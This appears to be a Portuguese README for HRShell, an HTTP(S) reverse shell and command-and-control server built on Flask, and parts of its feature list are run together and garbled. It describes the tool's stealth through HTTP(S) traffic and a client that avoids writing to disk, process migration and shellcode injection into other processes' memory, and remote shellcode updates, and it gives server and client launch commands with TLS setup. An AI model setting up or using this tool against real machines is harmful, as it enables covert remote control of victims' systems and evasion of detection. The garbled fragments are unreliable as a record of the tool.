
HRShell é um reverse shell HTTPS/HTTP construído com flask. É um servidor C2 avançado com muitos recursos e capacidades.
HRShell é um reverse shell HTTPS/HTTP construído com Flask e é compatível com python 3.x. O client.py foi testado com sucesso em:
enquanto o server.py é compatível com sistemas Unix (suporte para Windows em breve...)
migrate <PID>) especificando seu PID
cd e variantes).history interativo disponível em sistemas Unix.download/upload/screenshot/hex disponíveis.|) e comandos encadeados (;) são suportadosgunicorn e Nginx.server.py quanto client.py são facilmente extensíveis.*Para mudanças de versão, confira CHANGELOG.
HRShell é furtivo pois usa o protocolo HTTP(S) como método de comunicação entre cliente e servidor. Além disso, quando TLS está em uso, o tráfego também é criptografado. Além disso, se o CERT não estiver codificado manualmente no lado do cliente (o que é uma opção viável) e o comando upload não for usado, então o client.py não toca no disco.
Server-side:
A menos que a opção --http seja especificada, por padrão o server.py é HTTPS usando certificados on-the-fly, já que certificados on-the-fly são uma funcionalidade embutida do Flask. Mas se a opção -s tornado for especificada para fazer o servidor usar TLS, as opções --cert e --key devem ser especificadas como a seguir:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
Ou podem ser usados certificados "reais" ou outra maneira de gerar um par cert/key é, por exemplo, usando mkcert ou openssl diretamente assim:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Um par cert/key também pode ser usado com o flask-server:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ Se o servidor estiver usando TLS, por design o cliente não pode usar
http://...para conectar ao servidor, mas deve usar explicitamentehttps.
Client-side: Por padrão, a verificação SSL do cliente está desabilitada, a menos que:
--cert seja especificado, por exemplo:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT, em vez do valor padrão None, seja definida previamente com um certificado válido, por exemplo:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
Nesse caso, o client.py tentará criar um arquivo oculto .cert.pem em tempo real e o usará como alternativa.⚠️ O fato de a verificação SSL estar desabilitada por padrão no cliente não significa que o TLS também está desabilitado, o TLS será ativado se o servidor o usar - então o TLS depende completamente do servidor. A opção
--certno cliente está lá apenas como uma forma alternativa de o servidor-cliente ter uma sessão criptografada e é só.
Existem dois "modos" de injeção de shellcode usando os dois comandos a seguir respectivamente:
migrate <PID>: Usando este comando podemos injetar shellcode no espaço de memória de outro processo especificando seu PID. Por enquanto, este comando só pode ser aplicado em plataformas Windows x86/x64!
inject shellcode: Usando este comando, uma nova thread (ou processo gerado em sistemas unix) do nosso processo atual é criada e a injeção de shellcode ocorre em seu espaço de memória. Como resultado, nosso shell HTTP(S) não é afetado pela injeção. As plataformas onde este comando pode ser aplicado são: Unix x86/x64, Windows x86!
Há duas maneiras de especificar/definir qual tipo de shellcode você deseja que o cliente execute:
shellcode no script client.py para ser um shellcode válido ouset shellcode <shellcode-id> para fazer isso em tempo real. Com este comando, você pode atualizar seu shellcode no lado do cliente a partir do servidor quantas vezes quiser!